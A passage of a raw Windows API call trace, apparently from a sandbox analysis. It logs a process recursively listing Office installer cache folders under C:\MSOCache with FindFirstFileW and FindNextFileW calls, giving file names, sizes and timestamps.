lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0054.684] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.684] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.684] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.684] GetProcessHeap () returned 0x730000 [0054.684] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.684] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0054.685] GetProcessHeap () returned 0x730000 [0054.685] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.685] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.685] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0054.686] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0054.686] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0054.686] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.686] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.686] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.687] GetProcessHeap () returned 0x730000 [0054.687] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.687] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0054.687] GetProcessHeap () returned 0x730000 [0054.687] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.687] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.687] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0054.687] GetProcessHeap () returned 0x730000 [0054.687] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb2890 [0054.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.687] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.687] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0054.687] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0054.687] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.688] GetProcessHeap () returned 0x730000 [0054.688] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb2890 | out: hHeap=0x730000) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0054.688] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0054.689] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.689] GetProcessHeap () returned 0x730000 [0054.689] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.689] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0054.689] GetProcessHeap () returned 0x730000 [0054.690] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.690] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.690] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0054.690] GetProcessHeap () returned 0x730000 [0054.690] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb2890 [0054.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.691] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.691] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0054.691] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", 